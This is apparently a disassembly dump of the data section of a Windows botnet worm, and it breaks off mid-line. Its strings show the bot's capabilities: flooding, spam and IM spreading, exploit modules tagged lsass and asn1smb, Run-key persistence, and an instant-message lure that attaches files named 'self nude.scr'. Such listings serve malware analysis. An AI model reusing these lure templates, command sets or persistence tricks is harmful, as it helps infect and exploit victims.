XREF: sub_40DB3C+Bo dd offset sub_408B3D dd offset nullsub_3 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_40DB56+2C1o align 4 aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_40DB56+26Eo align 4 aTaskmgr_exe db 'taskmgr.exe',0 ; DATA XREF: sub_40DB56:loc_40DC4Ao aGetprocessimag db 'GetProcessImageFileNameA',0 ; DATA XREF: sub_40DB56+68o align 10h aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_40DB56+55o align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_40DB56+42o align 4 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_40DB56+2Fo align 4 aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_40DB56+11o align 4 off_4306C8 dd offset loc_40E121 ; DATA XREF: sub_40E063+12o dd offset sub_408B3D dd offset nullsub_3 dd offset sub_405771 off_4306D8 dd offset sub_4153A7 ; DATA XREF: sub_40E6B3+4Ao ; sub_40EA20+97o dd offset sub_407445 dd offset nullsub_3 dd offset sub_40E47E dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 off_4306FC dd offset sub_40E5EC ; DATA XREF: sub_40E4C6+1Fo dd offset sub_40E537 dd offset nullsub_3 off_430708 dd offset loc_40E121 ; DATA XREF: sub_40E0A0+12o dd offset sub_408B3D dd offset nullsub_3 dd offset sub_4056EB off_430718 dd offset loc_40E121 ; DATA XREF: sub_40E084+12o dd offset sub_408B3D dd offset nullsub_3 dd offset sub_405664 off_430728 dd offset loc_40E121 ; DATA XREF: sub_40E0BC+Co dd offset sub_408B3D dd offset nullsub_3 dd offset sub_41D5E9 aAsn1smbnt db 'asn1smbnt',0 ; DATA XREF: sub_40E0A0+8o align 4 aAsn1smb db 'asn1smb',0 ; DATA XREF: sub_40E084+8o aLsass db 'lsass',0 ; DATA XREF: sub_40E063+8o align 4 off_430754 dd offset sub_40FCC4 ; DATA XREF: sub_40FCAB+Fo off_430758 dd offset sub_40FB5A ; DATA XREF: sub_40FB41+Fo off_43075C dd offset sub_40EE0E ; DATA XREF: sub_40EDF5+Fo off_430760 dd offset sub_40F578 ; DATA XREF: sub_40F55F+Fo off_430764 dd offset sub_40F23B ; DATA XREF: sub_40F222+Fo off_430768 dd offset sub_40F008 ; DATA XREF: sub_40EFEF+Fo off_43076C dd offset sub_40FB2E ; DATA XREF: sub_40FB15+Fo off_430770 dd offset sub_40FC45 ; DATA XREF: sub_40FC2C+Fo off_430774 dd offset sub_40EDC7 ; DATA XREF: sub_40EDAE+Fo off_430778 dd offset sub_40F4FC ; DATA XREF: sub_40F4E3+Fo off_43077C dd offset sub_40F1FC ; DATA XREF: sub_40F1E3+Fo off_430780 dd offset sub_40EFD3 ; DATA XREF: sub_40EFBA+Fo off_430784 dd offset sub_40ED89 ; DATA XREF: sub_40ED70+Fo off_430788 dd offset sub_40FACE ; DATA XREF: sub_40FAB5+Fo off_43078C dd offset sub_40F1B6 ; DATA XREF: sub_40F19D+Fo off_430790 dd offset sub_40EF9A ; DATA XREF: sub_40EF81+Fo off_430794 dd offset sub_40F423 ; DATA XREF: sub_40F40A+Fo off_430798 dd offset sub_40FAA1 ; DATA XREF: sub_40FA88+Fo off_43079C dd offset sub_40ED1A ; DATA XREF: sub_40ED01+Fo off_4307A0 dd offset sub_40EF65 ; DATA XREF: sub_40EF4C+Fo off_4307A4 dd offset sub_40F3E7 ; DATA XREF: sub_40F3CE+Fo off_4307A8 dd offset sub_40F7AD ; DATA XREF: sub_40F794+Fo off_4307AC dd offset sub_40F0E9 ; DATA XREF: sub_40F0D0+Fo off_4307B0 dd offset sub_41D5E9 ; DATA XREF: sub_413800+Do off_4307B4 dd offset sub_40FA00 ; DATA XREF: sub_40F9E7+Fo off_4307B8 dd offset sub_40ECBF ; DATA XREF: sub_40ECA6+Fo off_4307BC dd offset sub_40F3A7 ; DATA XREF: sub_40F38E+Fo off_4307C0 dd offset sub_40EF29 ; DATA XREF: sub_40EF10+Fo off_4307C4 dd offset sub_40F072 ; DATA XREF: sub_40F059+Fo off_4307C8 dd offset sub_40F9A9 ; DATA XREF: sub_40F990+Fo off_4307CC dd offset sub_40EC89 ; DATA XREF: sub_40EC70+Fo off_4307D0 dd offset sub_40F6A4 ; DATA XREF: sub_40F68B+Fo off_4307D4 dd offset sub_40FE37 ; DATA XREF: sub_40FE1E+Fo off_4307D8 dd offset sub_40F340 ; DATA XREF: sub_40F327+Fo off_4307DC dd offset sub_40EEEA ; DATA XREF: sub_40EED1+Fo off_4307E0 dd offset sub_40F03D ; DATA XREF: sub_40F024+Fo off_4307E4 dd offset sub_40EC36 ; DATA XREF: sub_40EC1D+Fo off_4307E8 dd offset sub_40F661 ; DATA XREF: sub_40F648+Fo off_4307EC dd offset sub_40F8F8 ; DATA XREF: sub_40F8DF+Fo off_4307F0 dd offset loc_411363 ; DATA XREF: sub_411299+1Do ; sub_411338+4o dd offset sub_41131C dd offset sub_41136B off_4307FC dd offset sub_40EEB1 ; DATA XREF: sub_40EE98+Fo off_430800 dd offset sub_40F2F6 ; DATA XREF: sub_40F2DD+Fo off_430804 dd offset sub_40FDB0 ; DATA XREF: sub_40FD97+Fo off_430808 dd offset sub_40F60E ; DATA XREF: sub_40F5F5+Fo ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h off_430810 dd offset sub_40EE78 ; DATA XREF: sub_40EE5F+Fo off_430814 dd offset sub_40F2B3 ; DATA XREF: sub_40F29A+Fo off_430818 dd offset sub_40FD30 ; DATA XREF: sub_40FD17+Fo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0F5h, 40h, 0 off_430820 dd offset sub_40EE3F ; DATA XREF: sub_40EE26+Fo off_430824 dd offset sub_40F839 ; DATA XREF: sub_40F820+Fo off_430828 dd offset sub_40F27A ; DATA XREF: sub_40F261+Fo aElse db 'else',0 ; DATA XREF: sub_41288D+80o align 4 aWhile db 'while',0 ; DATA XREF: sub_41226A+CAo align 4 aIf db 'if',0 ; DATA XREF: sub_41226A+ADo align 10h aLocal db 'local',0 ; DATA XREF: sub_41226A+86o align 4 aPvar db 'PVAR',0 ; DATA XREF: sub_411377+4CAo align 10h aTcp db 'TCP',0 ; DATA XREF: sub_411377+489o aUdp db 'UDP',0 ; DATA XREF: sub_411377+448o aScripts db 'Scripts',0 ; DATA XREF: sub_411377+407o aTargets db 'Targets',0 ; DATA XREF: sub_411377+3C1o aScan db 'Scan',0 ; DATA XREF: sub_411377+380o align 10h aFirewall db 'Firewall',0 ; DATA XREF: sub_411377+33Fo align 4 aSocks db 'Socks',0 ; DATA XREF: sub_411377+2FEo align 4 aFtp db 'FTP',0 ; DATA XREF: sub_411377+2BDo aEmail db 'Email',0 ; DATA XREF: sub_411377+27Co align 10h aMsn db 'MSN',0 ; DATA XREF: sub_411377+23Bo aAim db 'AIM',0 ; DATA XREF: sub_411377+1FAo off_430898 dd offset loc_435246+3 ; DATA XREF: sub_411377+1B9o aLogs db 'Logs',0 ; DATA XREF: sub_411377+178o align 4 aHttp_0 db 'HTTP',0 ; DATA XREF: sub_411377+137o align 4 aCount db 'Count',0 ; DATA XREF: sub_411377+F1o align 4 aP2p db 'P2P',0 ; DATA XREF: sub_411377+AAo asc_4308B8 db '<=',0 ; DATA XREF: sub_410FAD:loc_4111BBo align 4 asc_4308BC db '>=',0 ; DATA XREF: sub_410FAD:loc_4111A6o align 10h asc_4308C0 db '!=',0 ; DATA XREF: sub_410FAD:loc_411191o align 4 asc_4308C4 db '==',0 ; DATA XREF: sub_410FAD:loc_411152o align 4 asc_4308C8 db '||',0 ; DATA XREF: sub_410FAD:loc_411128o align 4 asc_4308CC db '&&',0 ; DATA XREF: sub_410FAD:loc_411110o align 10h asc_4308D0 db '>>',0 ; DATA XREF: sub_410FAD:loc_411098o align 4 asc_4308D4 db '<<',0 ; DATA XREF: sub_410FAD:loc_411080o align 4 dword_4308D8 dd 15h ; DATA XREF: sub_410FAD:loc_411020o dword_4308DC dd 2D2Dh ; DATA XREF: sub_410FAD:loc_411008o dword_4308E0 dd 2B2Bh ; DATA XREF: sub_410FAD:loc_410FF0o dword_4308E4 dd 6725h ; DATA XREF: sub_40FEFE+1Do ; sub_4100B9+B7o aIsset db 'IsSet',0 ; DATA XREF: sub_40FD97+5o align 10h aGet_0 db 'Get',0 ; DATA XREF: sub_40FD17+5o aSoftwareGnuVer db 'SOFTWARE\GNU\Version',0 ; DATA XREF: sub_40FCC4+1Eo ; sub_40FD30+20o ... align 4 aSet db 'Set',0 ; DATA XREF: sub_40FCAB+5o aFlood db 'Flood',0 ; DATA XREF: sub_40FB41+5o ; sub_40FC2C+5o align 4 aAbortall db 'AbortAll',0 ; DATA XREF: sub_40FB15+5o align 4 aSD db '%s:%d',0 ; DATA XREF: sub_40FACE+25o align 4 aCurrent db 'Current',0 ; DATA XREF: sub_40FAB5+5o aClear db 'Clear',0 ; DATA XREF: sub_40FA88+5o ; sub_40FE1E+5o align 4 aAdd db 'Add',0 ; DATA XREF: sub_40F9E7+5o aSetexploit db 'SetExploit',0 ; DATA XREF: sub_40F990+5o align 4 aNone db 'NONE',0 ; DATA XREF: sub_40F8F8+69o ; sub_40F9A9+12o align 4 aHttpexec db 'HTTPEXEC',0 ; DATA XREF: sub_40F8F8+25o align 10h aSetpayload db 'SetPayload',0 ; DATA XREF: sub_40F8DF+5o align 4 aPause db 'Pause',0 ; DATA XREF: sub_40F8B1+5o align 4 aOpenport db 'OpenPort',0 ; DATA XREF: sub_40F794+5o align 10h aStart db 'Start',0 ; DATA XREF: sub_40F68B+5o ; sub_40F820+5o align 4 aSpam db 'Spam',0 ; DATA XREF: sub_40F5B2+5o ; sub_40F648+5o align 10h aSendim db 'SendIM',0 ; DATA XREF: sub_40F55F+5o ; sub_40F5F5+5o align 4 aSpread db 'Spread',0 ; DATA XREF: sub_40F4E3+5o align 10h aNew db 'New',0 ; DATA XREF: sub_40F40A+5o aQuitall db 'QuitAll',0 ; DATA XREF: sub_40F3CE+5o aNotifyall db 'NotifyAll',0 ; DATA XREF: sub_40F38E+5o align 4 aHostchildimage db 'HostChildImage',0 ; DATA XREF: sub_40F327+5o align 4 aSpeedtest db 'SpeedTest',0 ; DATA XREF: sub_40F2DD+5o align 4 aPost_0 db 'Post',0 ; DATA XREF: sub_40F29A+5o align 4 aVisit db 'Visit',0 ; DATA XREF: sub_40F261+5o align 4 aUpdate db 'Update',0 ; DATA XREF: sub_40F222+5o align 4 aExecute db 'Execute',0 ; DATA XREF: sub_40F1E3+5o aDownload db 'Download',0 ; DATA XREF: sub_40F19D+5o align 10h aSearch db 'Search',0 ; DATA XREF: sub_40F0D0+5o align 4 aSend db 'Send',0 ; DATA XREF: sub_40F059+5o align 10h aLinks db 'Links',0 ; DATA XREF: sub_40F024+5o align 4 aControls db 'Controls',0 ; DATA XREF: sub_40EFEF+5o align 4 aClients db 'Clients',0 ; DATA XREF: sub_40EFBA+5o aGetlinkedip db 'GetLinkedIP',0 ; DATA XREF: sub_40EF81+5o aGetmode db 'GetMode',0 ; DATA XREF: sub_40EF4C+5o aGetport db 'GetPort',0 ; DATA XREF: sub_40EF10+5o aGetversion db 'GetVersion',0 ; DATA XREF: sub_40EED1+5o align 4 aGetsubnetmask db 'GetSubnetMask',0 ; DATA XREF: sub_40EE98+5o align 4 aGetip db 'GetIP',0 ; DATA XREF: sub_40EE5F+5o align 4 aGetuptime db 'GetUptime',0 ; DATA XREF: sub_40EE26+5o align 4 aGetuuid db 'GetUUID',0 ; DATA XREF: sub_40EDF5+5o aGetcountry db 'GetCountry',0 ; DATA XREF: sub_40EDAE+5o align 4 aGetidletime db 'GetIdleTime',0 ; DATA XREF: sub_40ED70+5o aTcptunnel db 'TCPTunnel',0 ; DATA XREF: sub_40ED01+5o align 4 aRand db 'Rand',0 ; DATA XREF: sub_40ECA6+5o align 4 aSleep db 'Sleep',0 ; DATA XREF: sub_40EC70+5o align 4 aMessagebox db 'MessageBox',0 ; DATA XREF: sub_40EC1D+5o align 10h off_430AC0 dd offset sub_406A96 ; DATA XREF: sub_4142BC+Bo dd offset sub_408B3D dd offset nullsub_3 dword_430ACC dd 74756853h, 676E6974h, 776F4420h, 6Eh ; DATA XREF: sub_414767:loc_414790o dword_430ADC dd 67676F4Ch, 20676E69h, 66664Fh ; DATA XREF: sub_414767+22o aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4142D6+3AAo align 4 aMvwatvx db 'mvwatvx',0 ; DATA XREF: sub_4142D6+37Eo aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4142D6:loc_41463Fo align 10h aCalc_exe db '\calc.exe',0 ; DATA XREF: sub_4142D6+2B2o align 4 aD3kb5sujs50lq2 db 'd3kb5sujs50lq2mr',0 ; DATA XREF: sub_4142D6+21Eo align 10h aMain db 'main',0 ; DATA XREF: sub_4142D6+1A9o align 4 aS db '-s ',0 ; DATA XREF: sub_4142D6+175o aK db '-k ',0 ; DATA XREF: sub_4142D6+99o aC db '-c ',0 ; DATA XREF: sub_4142D6+1Eo off_430B84 dd offset loc_414E5F ; DATA XREF: sub_414DCD+20o ; sub_414E49+3o dd offset sub_414E2D dd offset nullsub_3 off_430B90 dd offset sub_4153A7 ; DATA XREF: sub_4150A5+1Co ; sub_415135+Ao dd offset sub_415119 dd offset nullsub_3 dd offset sub_4147BC dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 dd offset nullsub_3 off_430BB4 dd offset sub_41643A ; DATA XREF: sub_4163F9+1Bo dd offset sub_4163C6 dd offset nullsub_3 aDataBinary db '</DATA></BINARY>',0 ; DATA XREF: sub_416071+22Do align 8 aHtmlFontLang0S db '<HTML><FONT LANG="0" SIZE=1>(right click ->open ) <IMG SRC="%s' ; DATA XREF: sub_416071+1DDo db '" ID="1" WIDTH="30" HEIGHT="31" DATASIZE="%d"></HTML><BINARY><DAT' db 'A ID="1" SIZE="%d">',0 align 10h aSelfNude_scr db 'self nude.scr',0 ; DATA XREF: sub_416071+1B0o align 10h aMyPic_scr db 'my pic.scr',0 ; DATA XREF: sub_416071+1A9o align 4 aDsc1060193_scr db 'DSC1060193.scr',0 ; DATA XREF: sub_416071+1A2o align 4 aSoftwareGnuCon db 'SOFTWARE\GNU\Contact',0 ; DATA XREF: sub_416071+76o align 4 aDirectInstantM db 'Direct Instant Message',0 ; DATA XREF: sub_416071+2Do align 4 off_430CCC dd offset sub_416917 ; DATA XREF: sub_4168AA+Fo ; sub_416900+5o dd offset sub_4168E4 dd offset nullsub_3 off_430CD8 dd offset loc_41679D ; DATA XREF: sub_416706+Co ; sub_416786+5o dd offset sub_41676A dd offset nullsub_3 off_430CE4 dd offset sub_41D5E9 ; DATA XREF: sub_4163F9+Co ; sub_416AA6+9o ... dd offset sub_416A8A dd offset nullsub_3 off_430CF0 dd offset loc_416C13 ; DATA XREF: sub_416B7F+20o ; sub_416BFD+3o dd offset sub_416BE1 dd offset nullsub_3 off_430CFC dd offset byte_442B77 ; DATA XREF: .text:00416E6Co dword_430D00 dd 253A7325h, 64253A75h, 0A0Dh ; DATA XREF: .text:00416DD8o dword_430D0C dd 206B2D20h, 2 dup(0) ; DATA XREF: sub_416F51+4Ao stru_430D18 _msEH <0FFFFFFFFh, offset loc_40117C, offset loc_40118A> ; DATA XREF: sub_401162+2o flt_430D24 dd -1.0 ; DATA XREF: sub_407949+DEr flt_430D28 dd 3.0e2 ; DATA XREF: sub_407949+C9r flt_430D2C dd 1.0e-3 ; DATA XREF: sub_407949:loc_407A0Br flt_430D30 dd 4.2949673e9 ; DATA XREF: sub_407949+BCr ; .text:0040AFD5r ... flt_430D34 dd 6.4999998e-1 ; DATA XREF: .text:0040AFEDr ; .text:0040B078r dd 48h, 0Eh dup(0) dd offset dword_433148 dd offset dword_430F80 dword_430D7C dd 37h, 433094h, 2 dup(0) ; DATA XREF: .text:00430D98o dd 0FFFFFFFFh, 2 dup(0) dd offset dword_430D7C+4 dword_430D9C dd 3 dup(0) ; DATA XREF: .text:00430DC0o dd 1, 430D98h, 3 dup(0) dd offset off_433094 dd offset dword_430D9C+4 off_430DC4 dd offset off_4340EC ; DATA XREF: .text:00430DF8o ; .text:00430E44o ... align 10h dd 0FFFFFFFFh, 2 dup(0) off_430DDC dd offset off_434104 ; DATA XREF: .text:00430DF4o ; .text:00430E40o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_430DDC dd offset off_430DC4 dword_430DFC dd 3 dup(0) ; DATA XREF: .text:00430E20o dd 2, 430DF4h, 3 dup(0) dd offset off_434104 dd offset dword_430DFC+4 off_430E24 dd offset off_434124 ; DATA XREF: .text:00430E3Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_430E24 dd offset off_430DDC dd offset off_430DC4 dword_430E48 dd 3 dup(0) ; DATA XREF: .text:00430E6Co dd 3, 430E3Ch dword_430E5C dd 3 dup(0) ; DATA XREF: .text:00429474o dd offset off_434124 dd offset dword_430E48+4 off_430E70 dd offset off_4330B0 ; DATA XREF: .text:00430E88o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_430E70 dd offset off_430DDC dd offset off_430DC4 dd 0 db 0 ; DATA XREF: .text:00430EB8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 430E88h dword_430EA8 dd 3 dup(0) ; DATA XREF: .text:00429480o dd offset off_4330B0 dd offset unk_430E98 off_430EBC dd offset off_4330D0 ; DATA XREF: .text:00430ED4o dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_430EBC dd offset off_430DC4 dword_430EDC dd 3 dup(0) ; DATA XREF: .text:00430F00o dd 2, 430ED4h dword_430EF0 dd 3 dup(0) ; DATA XREF: .text:004294B4o dd offset off_4330D0 dd offset dword_430EDC+4 dd offset off_430DC4 dword_430F08 dd 3 dup(0) ; DATA XREF: .text:00430F2Co dd 1, 430F04h dword_430F1C dd 3 dup(0) ; DATA XREF: .text:0042950Co dd offset off_4340EC dd offset dword_430F08+4 off_430F30 dd offset off_4330F0 ; DATA XREF: .text:00430F48o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_430F30 dword_430F4C dd 3 dup(0) ; DATA XREF: .text:00430F70o dd 1, 430F48h dword_430F60 dd 3 dup(0) ; DATA XREF: .text:0042952Co dd offset off_4330F0 dd offset dword_430F4C+4 align 10h dword_430F80 dd 1DEACh, 1DF84h, 1E1A2h, 1E2A4h, 27900h, 27912h, 2792Fh ; DATA XREF: .text:00430D78o dd 27941h, 279C1h, 279D3h, 279E5h, 279EFh, 27A01h, 27A1Bh dd 27A2Dh, 27A49h, 27A5Bh, 27A6Dh, 27B5Bh, 27B6Ah, 27B74h dd 27B86h, 27B98h, 27BA2h, 27BACh, 27BB6h, 27BE9h, 27BF3h dd 27C0Bh, 27C4Bh, 27C55h, 27C67h, 27C71h, 27C7Bh, 27C8Dh dd 27C9Fh, 27CA9h, 27CC6h, 27CFDh, 27D24h, 27D4Ch, 27D6Eh dd 27D85h, 27D97h, 27DA9h, 27EA2h, 27EBEh, 27ED2h, 27EE6h dd 27EF8h, 27F12h, 27F24h, 27F40h, 27F52h, 27F66h, 0 dword_431060 dd 2 dup(0) ; DATA XREF: sub_422CBD+Co ; sub_422CBD:loc_422CD0o dword_431068 dd 2 dup(0) ; DATA XREF: sub_422D01+Co ; sub_422D01:loc_422D14o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_41B81C dd 2 dup(0) dd 2 dup(1), 431080h dword_4310A4 dd 19930520h, 2, 431070h, 1, 431090h, 3 dup(0) ; DATA XREF: SEH_41B760o dd offset off_433094 dd 0 dd 0FFFFFFFFh, 0 dword_4310D4 dd 10h, 41B910h, 1, 4310C0h ; DATA XREF: .text:004310F0o dword_4310E4 dd 0 ; DATA XREF: .text:0041B8DBo dd offset loc_41B950 align 10h dd offset dword_4310D4+8 align 8 dd offset off_4330B0 align 10h dd 0FFFFFFFFh, 0 dword_431108 dd 28h, 41BA39h, 3, 4310F4h, 4311C8h, 4311ACh ; DATA XREF: .text:0043112Co dword_431120 dd 0 ; DATA XREF: sub_41B9F9+2Ao dd offset sub_41B9EE dd 0 dd offset dword_431108+8 dd 0FFFFFFFFh, 42790Ah dword_431138 dd 19930520h, 1, 431130h, 5 dup(0) ; DATA XREF: .text:loc_427912o dd offset off_4330D0 align 10h dd 0FFFFFFFFh, 0 dword_431168 dd 0Ch, 41BAE1h, 2, 431154h, 4311ACh ; DATA XREF: .text:00431188o dword_43117C dd 0 ; DATA XREF: sub_41BAF9+4Fo dd offset sub_41BABA align 8 dd offset dword_431168+8 dword_43118C dd 0 ; DATA XREF: sub_40C38F+2Ao ; sub_41BA51+2Ao dd offset sub_401083 align 8 dd offset dword_43119C dword_43119C dd 3, 4311E4h, 4311C8h, 4311ACh, 0 ; DATA XREF: .text:00431198o dd offset off_4340EC align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 41C80Bh, 0 dd offset off_434104 dd 0 dd 0FFFFFFFFh, 0 dd 28h, 401E4Bh, 0 dd offset off_434124 align 10h dd 0FFFFFFFFh, 0 dd 28h, 401E33h dword_431200 dd 3 dup(0) ; DATA XREF: sub_405FCD+9o dd offset dword_431210 dword_431210 dd 1, 431218h, 0 ; DATA XREF: .text:0043120Co dd offset off_435458 dd 0 dd 0FFFFFFFFh, 0 dd 4, 0 dd 0FFFFFFFFh, 427A25h dword_43123C dd 19930520h, 1, 431234h, 4 dup(0) ; DATA XREF: .text:loc_427A2Do dd 0FFFFFFFFh, 427EC8h dword_431260 dd 19930520h, 1, 431258h, 4 dup(0) ; DATA XREF: .text:loc_427ED2o dd 0FFFFFFFFh, 427939h dword_431284 dd 19930520h, 1, 43127Ch, 4 dup(0) ; DATA XREF: .text:loc_427941o dd 0FFFFFFFFh, 42794Bh, 0 dd offset loc_427953 dd 1, 42795Bh, 2, 427963h, 3, 42796Bh, 4, 427973h, 5, 42797Bh dd 6, 427983h, 7, 42798Bh, 8, 427993h, 9, 42799Bh, 0Ah dd 4279A6h, 9, 4279B1h, 0Ch, 4279B9h dword_431310 dd 19930520h, 0Eh, 4312A0h, 4 dup(0) ; DATA XREF: .text:loc_4279C1o dd 0FFFFFFFFh, 4279CBh dword_431334 dd 19930520h, 1, 43132Ch, 4 dup(0) ; DATA XREF: .text:loc_4279D3o dd 0FFFFFFFFh, 4279DDh dword_431358 dd 19930520h, 1, 431350h, 4 dup(0) ; DATA XREF: .text:loc_4279E5o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 4 dup(0) dd offset sub_401F61 align 10h dd offset loc_401EED dd 2 dup(2), 3, 1, 431394h, 2 dup(0) dd 3, 1, 4313A4h dword_4313DC dd 19930520h, 4, 431374h, 2, 4313B4h, 2 dup(0) ; DATA XREF: .text:loc_4279EFo dd 0FFFFFFFFh, 4279F9h dword_431400 dd 19930520h, 1, 4313F8h, 4 dup(0) ; DATA XREF: .text:loc_427A01o dd 0FFFFFFFFh, 427A0Bh, 0FFFFFFFFh, 427A13h dword_43142C dd 19930520h, 2, 43141Ch, 4 dup(0) ; DATA XREF: .text:loc_427A1Bo dd 0FFFFFFFFh, 427A37h, 0 dd offset loc_427A3F dword_431458 dd 19930520h, 2, 431448h, 4 dup(0) ; DATA XREF: .text:loc_427A49o dd 0FFFFFFFFh, 427A53h dword_43147C dd 19930520h, 1, 431474h, 4 dup(0) ; DATA XREF: .text:loc_427A5Bo dd 0FFFFFFFFh, 427A65h dword_4314A0 dd 19930520h, 1, 431498h, 5 dup(0) ; DATA XREF: .text:loc_427A6Do dd 0FFFFFFFFh, 427A77h, 0 dd offset loc_427A7F dd 1, 427A87h, 2, 427A8Fh, 3, 427A97h, 4, 427A9Fh, 5, 427AA7h dd 6, 427AAFh, 7, 427AB7h, 8, 427ABFh, 9, 427ACAh, 8, 427AD5h dd 0Bh, 427ADDh, 0Ch, 427AE5h, 0Dh, 427AEDh, 0Eh, 427AF5h dd 0Fh, 427AFDh, 10h, 427B05h, 11h, 427B0Dh, 12h, 427B15h dd 13h, 427B1Dh, 14h, 427B28h, 13h, 427B33h, 16h, 427B3Bh dd 17h, 427B43h, 13h, 427B4Bh, 19h, 427B53h dword_431598 dd 19930520h, 1Bh, 4314C0h, 4 dup(0) ; DATA XREF: .text:loc_427B5Bo dd 0FFFFFFFFh, 427B65h dword_4315BC dd 19930520h, 1, 4315B4h, 4 dup(0) ; DATA XREF: .text:loc_427B6Ao dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40207E align 10h dd 2 dup(1), 4315E8h dword_43160C dd 19930520h, 2, 4315D8h, 1, 4315F8h, 2 dup(0) ; DATA XREF: .text:loc_427B74o dd 0FFFFFFFFh, 427B7Eh dword_431630 dd 19930520h, 1, 431628h, 4 dup(0) ; DATA XREF: .text:loc_427B86o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_415C75 dd 3 dup(0) dd offset loc_415C7E dd 2 dup(0) dd 2 dup(1), 43166Ch, 2 dup(2), 3, 1, 43167Ch dword_4316B4 dd 19930520h, 4, 43164Ch, 2, 43168Ch, 2 dup(0) ; DATA XREF: .text:loc_427BA2o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_415AA5 dd 3 dup(0) dd offset loc_415AAE dd 2 dup(0) dd 2 dup(1), 4316F0h, 2 dup(2), 3, 1, 431700h dword_431738 dd 19930520h, 4, 4316D0h, 2, 431710h, 2 dup(0) ; DATA XREF: .text:loc_427BACo dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_4158B8 align 10h dd offset loc_4158C1 dd 2 dup(0) dd 2 dup(1), 431774h, 2 dup(2), 3, 1, 431784h dword_4317BC dd 19930520h, 4, 431754h, 2, 431794h, 2 dup(0) ; DATA XREF: .text:loc_427BB6o dd 0FFFFFFFFh, 427BC0h, 0 dd offset loc_427BC8 dd 1, 427BD3h, 2, 427BDEh dword_4317F8 dd 19930520h, 4, 4317D8h, 4 dup(0) ; DATA XREF: .text:loc_427BE9o dd 0FFFFFFFFh, 427C85h dword_43181C dd 19930520h, 1, 431814h, 4 dup(0) ; DATA XREF: .text:loc_427C8Do dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_413BED dd 3 dup(0) dd offset loc_413BF6 align 10h dd 2 dup(1), 431858h, 2 dup(2), 3, 1, 431868h dword_4318A0 dd 19930520h, 4, 431838h, 2, 431878h, 2 dup(0) ; DATA XREF: .text:loc_427BF3o dd 0FFFFFFFFh, 427BFDh dword_4318C4 dd 19930520h, 1, 4318BCh, 4 dup(0) ; DATA XREF: .text:loc_427C0Bo dd 0FFFFFFFFh, 427C15h, 0 dd offset loc_427C1D dd 0FFFFFFFFh, 427C25h, 2, 427C2Dh, 0FFFFFFFFh, 427C35h dd 0FFFFFFFFh, 427C40h dword_431910 dd 19930520h, 6, 4318E0h, 4 dup(0) ; DATA XREF: .text:loc_427C4Bo dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) ; --------------------------------------------------------------------------- push edi jmp loc_43199E ; --------------------------------------------------------------------------- align 10h dd 2 dup(0) ; --------------------------------------------------------------------------- pusha loc_431969: ; DATA XREF: .text:004319A4o jmp near ptr word_4319AE ; --------------------------------------------------------------------------- align 10h dd 0 dd 2 dup(1), 43194Ch, 2 dup(2), 3, 1, 43195Ch dword_431994 dd 19930520h, 4 ; DATA XREF: .text:loc_427C55o ; --------------------------------------------------------------------------- sub al, 19h loc_43199E: ; CODE XREF: .text:00431959j inc ebx add [edx], al ; --------------------------------------------------------------------------- db 3 dup(0) dd offset loc_431969+3 dd 0 db 2 dup(0) word_4319AE dw 0 ; CODE XREF: .text:loc_431969j dd 0FFFFFFFFh, 42791Ch, 0 dd offset loc_427924 dword_4319C0 dd 19930520h, 2, 4319B0h, 4 dup(0) ; DATA XREF: .text:loc_42792Fo dd 0FFFFFFFFh, 427C5Fh dword_4319E4 dd 19930520h, 1, 4319DCh, 4 dup(0) ; DATA XREF: .text:loc_427C67o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40216E dd 2 dup(0) dd 2 dup(1), 431A10h dword_431A34 dd 19930520h, 2, 431A00h, 1, 431A20h, 2 dup(0) ; DATA XREF: .text:loc_427C71o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40210A dd 2 dup(0) dd 2 dup(1), 431A60h dword_431A84 dd 19930520h, 2, 431A50h, 1, 431A70h, 2 dup(0) ; DATA XREF: .text:loc_427C7Bo dd 0FFFFFFFFh, 427C97h, 0Bh dup(0) dd offset loc_401D3C dd 3 dup(0) dd offset loc_401DC1 dd 2 dup(1), 2, 1, 431AC8h, 2 dup(3), 4, 1, 431AD8h dword_431B10 dd 19930520h, 5, 431AA0h, 2, 431AE8h, 2 dup(0) ; DATA XREF: 